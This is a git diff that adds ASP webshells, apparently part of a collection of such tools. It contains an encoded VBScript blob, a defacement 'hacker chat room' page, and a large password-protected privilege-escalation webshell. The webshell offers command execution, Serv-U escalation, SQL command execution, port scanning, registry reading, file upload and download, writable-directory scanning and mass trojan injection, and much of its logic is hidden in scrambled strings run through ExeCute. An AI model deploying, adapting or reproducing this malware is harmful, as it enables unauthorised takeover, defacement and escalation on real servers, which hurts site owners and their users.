w!Y~xCh'v0E~YHwnxEY+aOEPrN{v6B~7l^E+{Br'0LJvPkk"n{B%E@*@!JYN@*E@#@&NJ,@!&Y.@*r@#@&Lr~@!DD~C^koUxEmnxDnMB~7l^ko 'Ehk9Ns+E@*E@#@&LJ,@!Y9@*命 令:@!JO[@*r@#@&LEP@!O9@*@!k 2EDPUCs+'v^EPOXan{BO6DBPbN{vmEP-l^EnxEm:9~z1PxO~Ek+MPCNhr ^~Fyfclv~&mNN~',xnY,sKmC^oMWEaPm[:bxr/DDCOKD/,CNskxf~&l9NEPdk"n{BX!E@*@!JY[@*r@#@&%E,@!&YM@*r@#@&NJ,@!YMPmskTxxB1+UODB,-l^ko xv:bN9VnB@*E@#@&%J,@!Y9P^G^/wCU{B+B@*@!bx2!Y,YXa+{v/!4hkDB~Um:+{v?!4:bOvP7l^En'v提交v@*PE@#@&%J@!kU2!YPOza+xBMnk+OEP l:'EjE(:rYyB~-mVExB重置E@*J@#@&%J@!k w;Y~Um:n'EjjmmOrKxB~OHwn'E4bN[xEPk9'ECmDkGxEP-C^E+{vFE@*@!JO[@*r@#@&LE@!&OM@*@!zDC4^+@*@!J0W.h@*@!&mUD+.@*J@#@&+ N,d+^+^Y@#@&W; mYbGx,MwmO4`*@#@&WUPn.MW.PMn/!:n~ +6O@#@&+.Dc^^+CM@#@&/+DP6x?D-+MR/.lY64N+mDcE?1DbwOkULcsrVjXkYnh}4Ln^DJb@#@&r6PnMDcxEs4.@*ZPOtx@#@&TwlD4'rm)r@#@&+XkDPWEU^DkGx@#@&+ N~r6@#@&L2mY4'6 V+OUwmkmVwGV9+.`Z#@#@&TwlD4'^mlkncV0D`LwCO4~+#*@#@&k+O~6'xGO4kUo@#@&x[,0!xmDkKU@#@&mC/J\\GJ)t\fv#@#@&^C/J"+CN]3VJlmmsV,InC9I2!c*@#@&mmdJj4WSFsbVE)U+OPzA/xg+h,JAw)b~/ ?4WSFoksnv?n/krW `EoKVNn.hlOtrb*)jY,bA;'gGY4kUo@#@&^Ck+JGGh sk^nE)GWSxoksn,sHlsn)UtGAADDcb@#@&^lknrfn^sbV+r)UnY,b$Z{1nA,SAwlb~ZRGnssbV`o1Ch#l?OPzA/xgWY4r o@#@&1Ck+EANbYsbVE)U+OPzA/xg+h,JAw)b~/ 29kDsrVncw1C:b)U+O~zAZxHKY4k L@#@&^m/JZKwHok^+E)U+O~zAZ{H+SPS~olb~ZcZGwzobVn`wHls+blU+Y~)~Zx1KO4kUT@#@&mlk+r\W7+ok^+ElU+Y,)A;'1A~S~s=b$Z \K\nsbs+vsHCs+#ljY~b~/{1GDtbxo@#@&1C/J9+^sGs9+Drl?YPz$/'g+SPJAolzA/RGnVwWs[D`oHm:n#=jY~zA;'1KY4rxT@#@&mm/nE;WwHoW^N+MEl?Y,b$ZxHh~S~o)zA/ ;WwzoKV[+Mcw1Cs+*)?Y,)A;'HWDtrUT@#@&1C/JHK-nsKV9+.JljY~b~/'g+A~dAsl)~Z HK-sG^ND`w1mh+*)j+DP)$;'1KOtbxo@#@&^lk+r1nhoG^NnDrl?Y~)~Z'HnSPJAwlzA/c1hsKV9nDvsHls+blU+Y,)A;'1KO4k o@#@&^ldnrj2sbs+r)i2wkVnc*@#@&mmdJPU+mDm4J=P?l.m4`b@#@&mlknJaml zAtDcE)2^mxzh4nDccb@#@&mCdJ/:9qUtn^Vr)ZsN8jtVs`*@#@&^m/+rJWTWEDEl?/kkGx /KxO+ O/cInhK\+cE03VJ*l"+daW /+cI[kM+^Y,j]J@#@&mmd+rZW!.d+r);W;Ddnv#@#@&1C/J)s6lElzVn6mc*@#@&1lk+JkE6Owr)dE6Y2c*@#@&1C/JEasGl9J=E2VGC9`b@#@&^lk+E.mN:rUr).l9hbxc*@#@&mlk+r2mmxzh4+.nWJ)a^l Xh4n.+W`*@#@&mCdJLW(Cm0JlLK4l^Vv#@#@&;Ck+~rnMWsbVE)hDGsbVnc*@#@&1C/Jw42E)ata`b@#@&^m/nJ9Gh VGC9/Jl[KhUVKC9/c*@#@&mlk+rCwNNnVr)C2NN+^c#@#@&mmdnJ1:96E)^h96c#@#@&mm/nEm/waE=ldwXc*@#@&1lk+J4k9[+ /4+^VEl4kN9nxkt+^sc#@#@&1ld+Ej1lUfMr\sG.sJPl~UmCxG.b\nwWM:@#@&mmd+r?^l f.r7+J,lPUml 9.k7+,In;;nkYcJG.k7+Eb@#@&mCdJjmwG^NnMJ,P),?1oW^NnD,In5!+/DcJwWV9n.J*@#@&P~ZCdP3VknPtlrUwWDhc*@#@&2 [,?n^+1Y@#@&k6~b1YrW @!@*EU+D7;J,YtU~?4WS2.Dcb@#@&%J@!&4KNz@*@!ztOh^@*EXPBpAA==^#~@ +%> + + + diff --git "a/asp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.asp" "b/asp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.asp" new file mode 100644 index 0000000..a80b89c --- /dev/null +++ "b/asp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.asp" @@ -0,0 +1,51 @@ + + + +<%@ LANGUAGE = VBScript %> +<% +server.scripttimeout=120 +response.buffer = true +on error resume next +tm = now +ff = Request.ServerVariables("SCRIPT_NAME") + +uip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") +If uip = "" Then uip = Request.ServerVariables("REMOTE_ADDR") +uip=split(uip,".",-1,1) +ipx=uip(0)&"."&uip(1)&"."&uip(2)&".*" + +data = left(replace(trim(request.form("what")),"说点什么吧",""),200) + +if data<>"" then +data = replace(replace(replace(replace(replace(replace(replace(replace(replace(data,"https://",""),"<","<"),">",">"),"%","%"),"(","["),")","]"),"/","/"),"'","'"),"""",""") +data = replace(data,"[img]","") +txt = "
    "&data&"

    IP为"&ipx&"的童鞋 >>> Fucked at:"&tm&"

    " +Set Fs=Server.CreateObject("Scripting.FileSystemObject") +Set File=Fs.OpenTextFile(Server.MapPath(ff),8,Flase) +File.Writeline txt +File.Close +response.write "" +end if +%> + + +Chinese Hackers' Chating Room + + +
    +Hacked! Owned by Chinese Hackers!
    +

    菊花聊天室

    +
    +
    +

    插入图片

    + +

    Chating Room is Powered By Silic Group Hacker Army©2009-2011

    + +
    +
    diff --git "a/asp/\350\231\232\346\213\237\346\234\272\346\217\220\346\235\203\345\244\247\351\251\254.asp" "b/asp/\350\231\232\346\213\237\346\234\272\346\217\220\346\235\203\345\244\247\351\251\254.asp" new file mode 100644 index 0000000..94a3085 --- /dev/null +++ "b/asp/\350\231\232\346\213\237\346\234\272\346\217\220\346\235\203\345\244\247\351\251\254.asp" @@ -0,0 +1,1295 @@ +<% +UserPass="F4ck"' 密码 +Server.ScriptTimeout=999999999 +Response.Buffer =true +On Error Resume Next +'------------------------内部测试 版---------------------- +mmname ="星外-华众-新网-虚拟主机提权专用Webshell" 'shell标题 +mmshell ="虚拟主机提权专用Webshell" 'shell版权 +errout ="密码错误!!!" '密码错误提示 +serversoft=Request.ServerVariables("server_software") +'------------------------------------------- + +response.write ""+vbCrLf+""+vbCrLf+"" + +Response.Buffer = True +Server.ScriptTimeOut=999999999 + +CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject" + + +'把路径加入 \ +function GetFullPath(path) + GetFullPath = path + if Right(path,1) <> "\" then GetFullPath = path&"\" '如果字符最后不是 \ 的就加上 +end function + +'删除文件 +Function Deltextfile(filepath) + On Error Resume Next + Set objFSO = CreateObject(CONST_FSO) + if objFSO.FileExists(filepath) then '检查文件是否存在 + objFSO.DeleteFile(filepath) + end if + Set objFSO = nothing + Deltextfile = Err.Number '返回错误码 +End Function + + +'检测目录是否可写 0 为可读写 1为可写不可以删除 +Function CheckDirIsOKWrite(DirStr) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + filepath = GetFullPath(DirStr)&fso.GettempName + FSO.CreateTextFile(filepath) + CheckDirIsOKWrite = Err.Number '返回错误码 + if ShowNoWriteDir and (CheckDirIsOKWrite =70) then + Response.Write "[目录]"&DirStr&" ["&Err.Description&"]
    " + end if + set fout =Nothing + set FSO = Nothing + Deltextfile(filepath) '删除掉 + if CheckDirIsOKWrite=0 and Deltextfile(filepath)=70 then CheckDirIsOKWrite =1 +end Function + +'检测文件是否可以修改(此方法是修改属性,可能会有点不准,但基本能用) +function CheckFileWrite(filepath) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + set getAtt=FSO.GetFile(filepath) + getAtt.Attributes = getAtt.Attributes + CheckFileWrite = Err.Number + set FSO = Nothing + set getAtt = Nothing +end function + +'检测目录的可读写性 +function ShowDirWrite_Dir_File(Path,CheckFile,CheckNextDir) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + B = FSO.FolderExists(Path) + set FSO=nothing + + '是否为临时目录和是否要检测 + IS_TEMP_DIR = (instr(UCase(Path),"WINDOWS\TEMP")>0) and NoCheckTemp + + if B=false then '如果不是目录就进行文件检测 + '========================================================================== + Re = CheckFileWrite(Path) '检测是否可写 + if Re =0 then + Response.Write "[文件]"&Path&"
    " + b =true + exit function + else + Response.Write "[文件]"&Path&" ["&Err.Description&"]
    " + exit function + end if + '========================================================================== + end if + + + + Path = GetFullPath(Path) '加 \ + + re = CheckDirIsOKWrite(Path) '当前目录也检测一下 + if (re =0) or (re=1) then + Response.Write "[目录]"& Path&"
    " + end if + +Set FSO = Server.CreateObject(CONST_FSO) +set f = fso.getfolder(Path) + + + +if (CheckFile=True) and (IS_TEMP_DIR=false) then +b=false +'====================================== +for each file in f.Files + Re = CheckFileWrite(Path&file.name) '检测是否可写 + if Re =0 then + Response.Write "[文件]"& Path&file.name&"
    " + b =true + else + if ShowNoWriteDir then Response.Write "[文件]"&Path&file.name&" ["&Err.Description&"]
    " + end if +next +if b then response.Flush '如果有内容就刷新客户端显示 +'====================================== +end if + + + +'============= 目录检测 ================ +for each file in f.SubFolders +if CheckNextDir=false then '是否检测下一个目录 + re = CheckDirIsOKWrite(Path&file.name) + if (re =0) or (re=1) then + Response.Write "[目录]"& Path&file.name&"
    " + end if +end if + + if (CheckNextDir=True) and (IS_TEMP_DIR=false) then '是否检测下一个目录 + ShowDirWrite_Dir_File Path&file.name,CheckFile,CheckNextDir '再检测下一个目录 + end if +next +'====================================== +Set FSO = Nothing +set f = Nothing +end function + +Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next: +ExeCute "sub ShowErr():If Err Then:RRS""

     "" & Err.Description & ""

    "":Err.Clear:Response.Flush:End If:end sub" +Sub RRS(str):response.write(str):End Sub +Function RePath(S) +RePath=Replace(S,"\","\\") +End Function +Function RRePath(S):RRePath=Replace(S,"\\","\") +End Function +URL=Request.ServerVariables("URL") +ServerIP=Request.ServerVariables("LOCAL_ADDR") +Action=Request("Action"):Pos=2 +RootPath=Server.MapPath(".") +WWWRoot=Server.MapPath("/") +Serveru=request.servervariables("http_host")&url +FolderPath=Request("FolderPath"): +Pn=pos*44:FName=Request("FName"):pso=5:BackUrl="

    返回
    " +RRS"" +RRS""&mmname&" - "&ServerIP&"--Soft - "&serversoft&"" +RRS ""©url&"" +rrS"" +rRs"" +ExeCute SinfoEn("lError=kilnerrodow.o;}win trueeturns(){rError killctiont>funscrip=javaguaget lanscripRRS~请确认己连接数据库再输入SQL操作命令语句5
    "";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value = Str[i];}return true;}":RRS"function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""请检查数据库连接串是否正确!"");return false;}if(str.length<10){alert(""请检查SQL语句是否正确!"");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="""";DbForm.submit();return true;}" +RRS"function gotoURL(targ,selObj,restore){if(selObj.options[selObj.selectedIndex].js==1){eval(selObj.options[selObj.selectedIndex].value);if (restore) selObj.selectedIndex=0}else{eval(targ+"".location='""+selObj.options[selObj.selectedIndex].value+""'"");if (restore) selObj.selectedIndex=0;}}" +rrs "" +Dim Sot(13,2):Sot(0,0) = "Scripting.FileSystemObject":Sot(0,2) = "文件操作组件":Sot(1,0) = "wscript.shell":Sot(1,2) = "命令行执行组件":Sot(2,0) = "ADOX.Catalog":Sot(2,2) = "ACCESS建库组件":Sot(3,0) = "JRO.JetEngine":Sot(3,2) = "ACCESS压缩组件":Sot(4,0) = "Scripting.Dictionary":Sot(4,2) = "数据流上传辅助组件":Sot(5,0) = "Adodb.connection":Sot(5,2) = "数据库连接组件":Sot(6,0) = "Adodb.Stream":Sot(6,2) = "数据流上传组件":Sot(7,0) = "SoftArtisans.FileUp":Sot(7,2) = "SA-FileUp 文件上传组件":Sot(8,0) = "LyfUpload.UploadFile":Sot(8,2) = "刘云峰文件上传组件":Sot(9,0) = "Persits.Upload.1":Sot(9,2) = "ASPUpload 文件上传组件":Sot(10,0) = "JMail.SmtpMail":Sot(10,2) = "JMail 邮件收发组件":Sot(11,0) = "CDONTS.NewMail":Sot(11,2) = "虚拟SMTP发信组件":Sot(12,0) = "SmtpMail.SmtpMail.1":Sot(12,2) = "SmtpMail发信组件":Sot(13,0) = "Microsoft.XMLHTTP":Sot(13,2) = "数据传输组件" +For i=0 To 13 +Set T=Server.CreateObject(Sot(i,0)) +If -2147221005 <> Err Then +IsObj=" √" +Else +IsObj=" ×" +Err.Clear +End If +Set T=Nothing +Sot(i,1)=IsObj +Next + + + + +If FolderPath<>"" then +Session("FolderPath")=RRePath(FolderPath) +End If:If Session("FolderPath")="" Then +FolderPath=RootPath +Session("FolderPath")=FolderPath +End if +Function MainForm() +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"X→Program2E→AllUsersn#→程序ib→启动ib→pcAnywhereLM→serv-uDv→~星外常写~:”→SQLIJ→PHPED→configWP→dataeFTempm?RECYCLERv,常写7" +RRS"" +RRS"" +RRS"
    地址:" +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"隐藏

    显示

    " +RRS"" +End Function:Function MainMenu() +RRS"" +RRS"" +If soT(0,1)=" ×" Then +RRS"" +Else +Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +End if +RRS"

    " +RRS"
    无权限
    →站点目录
    →程序目录
    →上级目录
    →新建目录
    →新建文本
    →远程下载
    →上传文件
    →可写目录
    →修改权限
    →隐藏大马
    →星外主机提权辅助
    →华众主机提权辅助
    →N点主机提权辅助
    →新网主机提权辅助
    →扫目录可写啊D版
    →用户账号
    →查管理员
    →自动登录
    →组件支持
    →执行CMD命令
    →Cmd2
    →SQL执行CMD
    →端口扫描
    →Serv-u提权
    →Serv-u Ftp版
    →Serv-u7x提权
    →读注册表
    →ASPX探测
    →PHP探测
    →JSP探测
    →高级挂马
    →批量清马
    →批量替换
    →数据库操作
    →打包解包
    →退出登录
    " +End Function: +Sub ScanDriveForm() + Dim FSO,DriveB + Set FSO = Server.Createobject("Scripting.FileSystemObject") +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write " " + + + For Each DriveB in FSO.Drives + +Response.Write " " +Next +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    磁盘/系统文件夹信息
    Windows文件夹" +Response.Write FSO.GetSpecialFolder(0) +Response.Write "
    System32文件夹" +Response.Write FSO.GetSpecialFolder(1) +Response.Write "
    系统临时文件夹" +Response.Write FSO.GetSpecialFolder(2) +Response.Write "

    " +Response.Write "
    " +Response.Write "当前网站绝对路径:"&Server.MapPath("/")&"" +Response.Write "
    指定文件夹查询:" +Response.Write " " +Response.Write " W指定文件夹路径b如:F:\ASP\" +Response.Write "
    " +Response.Write "
    " + Set FSO=Nothing +End Sub + +Sub ScanDrive(Drive) + Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D + If Drive <> "" Then + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestDrive = FSO.GetDrive(Drive) + If TestDrive.IsReady Then + Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(GetTheSize(TestDrive.TotalSize)) & "
  • 磁盘卷名:" & Red(TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) + + Set BaseFolder = TestDrive.RootFolder + Set TempFolders = BaseFolder.SubFolders + For Each D in TempFolders + Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) + Next + Set TempFolder = Nothing + Set BaseFolder = Nothing + Else + Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") + Dim TempFolderList,t + t=0 + Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") + TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") + For i = 0 to Ubound(TempFolderList) + If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then + t = t+1 + Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) + End if + Next + If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" + End if + Set TestDrive = Nothing + Set FSO = Nothing + Temp_Str = Temp_Str & "
  • 注意:" & Red("不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!") + Message Drive & ":磁盘信息",Temp_Str,1 + End if +End Sub + +Sub ScFolder(folder) + On Error Resume Next + Dim FSO,OFolder,TempFolder,Scmsg,S + Set FSO = Server.Createobject("Scripting.FileSystemObject") + If FSO.FolderExists(folder) Then + Set OFolder = FSO.GetFolder(folder) + Set TempFolders = OFolder.SubFolders + Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) + For Each S in TempFolders + Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) + Next + Set TempFolders = Nothing + Set OFolder = Nothing + Else + Scmsg = Scmsg & "
  • 文件夹:" & Red(folder & "不存在或无读权限!") + End if + Scmsg = Scmsg & "
  • 注意:" & Red("不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!") + Set FSO = Nothing + Message "文件夹信息",Scmsg,1 +End Sub + +Function ScReWr(folder): + On Error Resume Next + Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestFolder = FSO.GetFolder(folder) + Set TestFileList = TestFolder.SubFolders + RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" + For Each A in TestFileList + Next + If err Then + err.Clear + ReWrStr = folder & " 不可读," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "不可写q" + Else + ReWrStr = ReWrStr & "可写q" + FSO.DeleteFile folder & RndFilename,True + End If + Else + ReWrStr = folder & " 可读," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "不可写Y" + Else + ReWrStr = ReWrStr & "可写Y" + FSO.DeleteFile folder & RndFilename,True + End if + End if + Set TestFileList = Nothing + Set TestFolder = Nothing + Set FSO = Nothing + ScReWr = ReWrStr +End Function + +Sub Message(state,msg,flag) +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    系统信息
    " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    " +Response.Write state +Response.Write "

    " +Response.Write msg +Response.Write "

    " +Response.Write "
    " +Response.Write " " +If flag=0 Then +Response.Write " " +Response.Write " " +Else +Response.Write " " +Response.Write " " +End if +Response.Write "
    " +End Sub +Function Red(str):Red = "" & str & "" +End Function +Sub PageAddToMdb():ExeCute SinfoEn("atePth, cteAthm Dih`~)cteAth(~stueeq R =cteAth`~)thPahe~tt(esquRe= h atePth`0000=1uteOimtTipcr.SerrvSe0`he Tb~MdTodd~a= t Ache tIfn`thPahe(tdboMdTad)`UrckBa~&v>di操br>di操br>os=podthmem or=8zesi~ ~~& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnpAche=tmenab MdTodd=aueal venddhie=yp tutnpiopt/oO无pp=aueal vontiop>Fso=fueal vontiop>~ctlese~包'始打'开e=luvat miub=spetyt puin
    ~rmfobr:<持)O支FS(需解开件包>文r/os=podthmem or=8zesi~ b~mdH.HS~\& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnp开包'解e=luvat miub=spetyt puin>
    ~rmfo ilehi WDo`enThe lsFa= ) i), thPahe(tftLes(stxirEdeol.F~)ctjeObemstSyleFig.inptriSc(~ctjeObteeaCrr.veer SIf`)) 1 - ih,atePtht(ef(LerldFoteeaCr).t~ecbjmOteyseSil.Fngtiipcr~St(ecbjeOatre.CerrvSe`Ifd En`he T~)~\, 1)+ i , thPahe(tid(MtrnS IIfn`\~ ~), 1 + ih,atePthd(Mir(stIn+ i = i )`ls Ee`= i 0`Ifd En`opLo",Pos):End Sub:Sub saTreeForMdb(thePath, rs, stream):ExeCute SinfoEn("stLileFiys sr,deoleFth, emitm Di`b$ldH.HSb$mdH.HS~$= t iseLilsFsy~`h)atePthe(acSpmeNaX.sa= r deoleFtht Se`mste.IerldFohe tInm te ichEar Fo`enThe ru T =erldFoIsm.te iIf`amrest, rs, thPam.te idbrMFoeeTrsa`ls Ee`enTh0 = <~)~$& e am.Nemit& ~ ~$, stLileFiys(strnS IIf`Nedd.Arsw` 4h,at.Pemitd(Mi= ) h~atePth(~rs)`h)at.Pemite(ilmFrodFoa.Lamrest`d(ea.Ramrest= ) t~enntColefi(~rs)`atpd.Urse`Ifd En`Ifd En`xtNe`inthNo= r deoleFtht Seg",Pos):End Sub:Function Course():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='600widthable br>系r='megcoloer' b'centlign='3' aspan=' colt='20heigh>~` nextesumeror ron er`NT://(~Winbject getObj inach ofor e.~)`err.clear`e=~~ rtTypJ.Staif OBthen`&~~` FF~~>#FFFFor=~~bgcol20~~ ht=~~ heig&~&nbsFFF~~~#FFFlor=~ bgcod>~`d>&nbs~~2~~span=~ colFFFF~~~#FFolor=~ bgc~~20~ight=td he~ `end if`x=~自动hen le=2 trtTypJ.Staif OB~`x=~手动hen le=3 trtTypJ.Staif OB~`x=~禁用hen le=4 trtTypJ.Staif OB~`pe=2 artTyBJ.Stand Owin~ ))<>~h,4,3j.patid(obase(mif LCthen`>&nbsF0000or=#Ft col][启n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`else`>&nbs399FFor=#3t col][启n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`end if`next`~",Pso):End Function:Function ServerInfo():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='80%widthable br>服r='megcoloer' b'centlign='3' aspan=' colt='20heigh>~`td>~&reFFFF'='#FFcolortd bg/td>&nFFFFFor='#bgcol>服务器FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#Fgcolo服务器IPFFF'>'#FFFolor=' bgc='200width'20' ight=td heer'><'centlign=='_blargetrm' t'ipfoname=asp' ndex.com/ip138.www.itp://n='htactiopost thod=rm me&~<'2'>~&nFFFFFr='#Fgcolonbsp;FF'>&#FFFFlor=' bgcod>服务器FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloCPU数量'>服务器FFFFFr='#Fgcolo00' bth='2' widt='20heigh>~#FFFFlor=' bgcod>&nbsFFFF'='#FFcolortd bg/td><操作系统<'>服务器FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#Fgcolo服务器版本'>WEBFFFFFr='#Fgcolo00' bth='2' widt='20heigh>~&SoFFFF'='#FFcolortd bg/td><0)&~~&SFFFFFr='#Fgcolo00' bth='2' widt='20heigh>" +end sub:Function UpFile(): +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 then +SI="
    请输入上传的完全路径后选择一个文件上传!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="



    文件"&UName&"上传成功!
    " +RRS ""©url&"" +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +RRS SI +ShowErr() +Response.End +End If +SI="


    " +SI=SI&"" +SI=SI&"
    " +SI=SI&"上传路径:" +SI=SI&" " +SI=SI&" " +SI=SI&"
    " +RRS SI: +End Function::Function Cmd1Shell():ExeCute SinfoEn("checked=~ checked~`t(~SPeques) = RPath~Shellion(~ Sess Then)<>~~(~SP~questIf Re~)`ath~)hellPon(~SSessiPath=Shell`md.ex = ~clPath Shel Thenth=~~ellPaif She~`heckehen ces~ t)<>~yript~(~wscquestif Red=~~`cmd~)est(~ RequCmd =n Def~ The~)<>~(~cmdquestIf Re`st'>~d='pomethoform SI=~<`bsp;~sp;&n'>&nbh:70%'widttyle=&~' SlPath&Shelue='~' vale='SPt namWScrked&~&checyes'~lue='t' vascripme='wx' naeckboe='chc typlass=put c&~alue=it' v'submtype=nput '> " +end if +else +si=" 

    "&mmshell&"
  • " +if instr(SI,SIC)<>0 then rrs sI +end if +response.end +end if +Function DbManager():ExeCute SinfoEn("tr~))~SqlSForm(uest.m(Reqr=TriSqlSt`DbStrorm(~est.F=RequDbStr~)`ing='lpadd' celng='0spaci cellr='0'borde'650'idth=ble w&~~`on='' actipost'hod='' metbFormme='Drm na&~~`接串: ght='' hei='100width>~`/td>~~~~>bManaue='D' validdenpe='hn' tyActioame='put n&~~`:&nbt='30heigh>~`>4n(DbSIf Len`(5,0)t(SotObjecreateonn=CSet C)`DbStrOpen Conn.`ma(20nSchen.Opes=ConSet R) `r>名表<&~~`veFirRs.Most `ot Rsile NDo Wh.Eof`E~ th~TABLPE~)=LE_TY(~TABIf Rsen`_NAMETABLE=Rs(~TName~)`a>[ de~,1)'e&~]~&TNamLE [~P TAB~~DROlStr(ullSqipt:Fvascrf='jaa hreter>~`~Name&'>~&T~~,1)me&~]~&TNaROM [T * FSELECtr(~~lSqlSt:Fulscrip'javahref=&~r>n(SqlIf Leen`ct~ t~sele,6))=qlStreft(Sase(LIf LChen`qlStr句:~&S&~执行语SI=SI`ordseb.Rec~Adodject(ateObs=CreSet Rt~)`Conn,lStr,en SqRs.op1,1`ds.Co.FielFN=Rsunt`rdCou.RecoRC=Rsnt`geSizRs.Pae=20`ageSi=Rs.PCountze`Count.PagePN=Rs`age~)st(~PrequePage=`g(Page=Clnn Pag~ Thege<>~If Pae)` Page Thenage=0 Or Pge=~~If Pa=1` Page Thenge>PNIf Pa=PN`=PageepagesolutRs.abThen ge>1 If Pa`td><=#ccccolor25 bgight=tr heble><&~~` FN-1=0 toFor n`em(n)ds.It.Fielld=RsSet F`e&~~&Flnter'n='ce alig&~~`thingld=noSet F`Next`&~~`Count And .Bof)or Rs.Eof ot(Rsile NDo Wh>0`=CounCountt-1`EFEFEor=~#BgcolF~`t>xngdine='wit fac>~` FN-1=0 ToFor i`~:EndFEFEFr=~#Egcololse:BF5~:E#F5F5lor=~:Bgco ThenEFEF~=~#EFcolorIf Bg if`=1 ThIf RCen`Rs(i)code(TMLEnnfo=H ColI)`Else`,50))Rs(i)Left(code(TMLEnnfo=H ColI`End If`&~~&Color&~&Bgcolor=~ bgco&~~`Next`&~~`veNexRs.Mot`Loop`I:SI=RRS S~~`lStr)de(SqlEnCor=HtmSqlSt`&~/~&&Page;页码:~ &RC&~记录数:~nter>gn=ce~ aliFN+1&an=~&colsp>1 ThIf PNen`a>&nb上一页age-1~,~&Ptr&~~&SqlSr(~~~SqlSt:Fullcriptjavasref=';1)'>首&~~~,qlStr~~~&SlStr(ullSqipt:Fvascrf='jaa hrebsp;8 If Paf`o Sp+=Sp TFor i8`it Foen ExPN ThIf i>r`Page If i=Then`nbsp;&i&~&SI=SI~`Else` ~>~&i&i&~)'~~,~&Str&~~&Sqltr(~~lSqlSt:Fulscrip'javahref=&~,~&PNr&~~~SqlSt(~~~&qlStrFullSript:avascef='j&'>下一页+1&~)&Page~~~,~lStr&~~&SqStr(~llSqlpt:Fuascri='jav hrefsp;~`End If`able>r>0 then + set TFL=new FIF:FStart=InStr(FEnd,TIn,"filename=""",1)+10:FEnd=InStr(FStart,TIn,"""",1):FStart=InStr(FEnd,TIn,"Content-Type: 